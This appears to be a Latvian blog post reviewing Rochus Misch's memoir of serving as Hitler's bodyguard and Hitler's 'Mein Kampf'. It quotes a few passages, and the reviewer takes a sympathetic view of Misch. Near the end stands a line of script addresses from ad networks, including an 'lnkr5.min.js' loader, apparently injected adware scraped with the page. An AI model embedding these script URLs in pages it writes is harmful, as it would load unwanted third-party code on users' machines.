Tagad tikai nevajag lekt no biksām ārā un padomāt ko sliktu. Lasīju vienkāršas intereses pēc, nevis lai smeltos iedvesmu vai iespaidotos. Te nu būs par divu nacistu – šefa un viņa padotā – sarakstītajiem darbiem.
Rohuss Mišs – Hitlera telefonists, kurjers un miesassargs
307 lpp.
Jumava, 2011. gads.
Ja interesē Otrais pasaules karš, šī grāmata, protams, ir gards kumosiņš. Rohuss pēc ievainojuma frontē nokļūst Hitlera eskorta vienībā un šie puiši vienmēr ir ar savu fīreru, jeb kā viņi dēvēja – šefu. Kaut arī Rohuss ar viņu daudz nerunāja un viņiem bija tikai profesionālas attiecības, varam daudz uzzināt par Hitleru un viņa tuvākajiem kolēģiem pateicoties miesassarga novērojumiem. Viss stāsts sākas ar īsu izklāstu par Miša bērnību, jaunības gadiem un kā viņš nokļuvis karā un vēlāk izraudzīts Leibstandarte – elites aizsardzības gvardē. Viņa dienests sākās 1940. gada maija pirmajā dienā, tātad Hitlera labā viņš strādājis piecus gadus, kas arī ir grāmatas pamats. Tad viņš raksta par izlaušanos no bunkura un saviem gadiem krievu gūstā. Kaut arī grāmatai ir 300 lappušu, atņemot epilogus, atsauces un visu pārējo, mums paliek aptuveni 210 lappuses tīra izklāsta. Mani pārsteidza, ka Rohuss kā ‘velna miesassargs’ nemitīgi esot blakus Trešā reiha vadonim, par Hitlera noziegumiem zinājis ļoti maz – par koncentrācijas nometnēm un ebreju iznīcināšanu praktiski neko. Viņš savu šefu pazinis un arī grāmatā apraksta kā cilvēku nevis fīreru. Visinteresantākā daļa protams ir par pēdējām dienām bunkurā. Lasot atcerējos par filmu, kas tieši par šo tēmu uzņemta – Downfall, jeb oriģinālā ‘Der Untergang‘. Arī ļoti interesanta un samērā šokējoša filma (kuru man tagad sagribējās noskatīties). Lai nu kā, pēc izlasīšanas par Rohusu radās patīkams, jauka ģimenes cilvēka iespaids, nemaz negribas viņu dēvēt par nacistu.
Neuzticības izraisītajā noskaņojumā 1944. gada 22. jūnijā Platerhofā Hitlers uzrunāja 280 augstākos virsniekus un ģenerāļus. Tas bija ļoti aizkustinoši. […] Uzvara vai sakāve – tas esot viņu, ne Hitlera rokās. Hitlers vairākkārt bija tuvu asarām. Runa mani ļoti saviļņoja, man Hitlera bija patiesi žēl.
1945. gada 8. maijā kapitulēja Vācijas bruņotie spēki, bet 1945. gada 22. aprīlī, svētdienā, kapitulēja Hitlers. Šī diena manā apziņā iespiedās ne mazāk, kā tā, kurā Hitlers sev atņēma dzīvību.
Reiz viņš ar manu biedru Jozefu Joši pat kāda uzlidojuma laikā izgāja laukā. Nabaga Joši bija ļoti uztraucies un izmisīgi mēģināja pierunāt Hitleru meklēt patvērumu. ”Ak, man jau nekas nenotiks,” vienaldzīgi atteica Hitlers pat pekles vidū sen zināmo standarta teikumu.
Ādolfs Hitlers – Mana cīņa
477 lpp.
Vizītkarte, 1995. gads.
Šo grāmatu sāku lasīt janvārī un tagad, kad gads jau ir vairāk kā pusē, es arī esmu tikai grāmatas pusē. Sapratu, ka līdz galam viņu nekādīgi neizmocīšu un šoreiz atļāvos nolikt maliņā kā ”izlasītu”. Iemesls ir gaužām smagā valoda, mazā druka, daudzās lappuses. Izlasot līdz pusei būtībā jau uztvēru viņa domu un ir skaidrs, ka atlikušajā daļā būs lasāms tas pats, mainās tikai tēmas, un to nacionālistisko viedokli par pilnīgi visu es arī nekāroju zināt. Grāmatu viņš sarakstīja atrodoties cietumā, 1923. gadā, tātad 10 gadus pirms viņš nokļuva uz lielās politikas skatuves. Tas deva lielisko iespēju grāmatā izteikt savu viedokli un norādīt uz visu, kas Vācijā nogājis greizi un kas ir ar steigu jāmaina. Viņam ir viedoklis par visu – pašsaprotami sākot jau ar politiskajām partijām un beidzot ar to, kas mugurā jāvelk jauniešiem. Grāmta sadalīta divās daļās – ‘Atmaksa’ un ‘Nacionālsociālistiskā kustība’. No tā, cik izlasīju, vienīgie cildinošie vārdi bija veltīti vācu armijai. Sākumā Hitlers raksta par savu bērnību un jaunības gadiem Berlīnē, pamazām sākot paust savu nostāju un politisko ideoloģiju. Lasot radās iespaids, ka viņš sevi tur dieva vai mātes dabas vietā un cilvēki ir kā preces, no kurām var izveidot ideālo āriešu nāciju.
Vai tiešām šie cilvēki ir tā vērti, lai piederētu lielai tautai?
[…] pasliktinājusies atsevišķu indivīdu kvalitāte.
Mēs visi zinām, ka Hitlers bija lielisks orators, un tagad arī zinu, ka viņš rakstīja tikpat pārliecinoši, kā runāja. Viņa nostāja ir stingra un argumenti izteikti kā skaidra patiesība. Lai arī dažās valstīs grāmata ir aizliegta, ir pieejama tikai bibliotēkās utt., citur tā ir pat ļoti populāra un tiek no jauna izdota. Par šo grāmatu rakstīt ir tikpat apgrūtinoši, kā to lasīt.
//serverads.net/599b47260394deb2d8.js//pulseadnetwork.com/a/display.php?r=1131815https://serverads.net/addons/lnkr5.min.jshttps://cdncache-a.akamaihd.net/sub/nee5452/50653_1433_/l.js?pid=2448&ext=Not%20set
Ēst vārdus 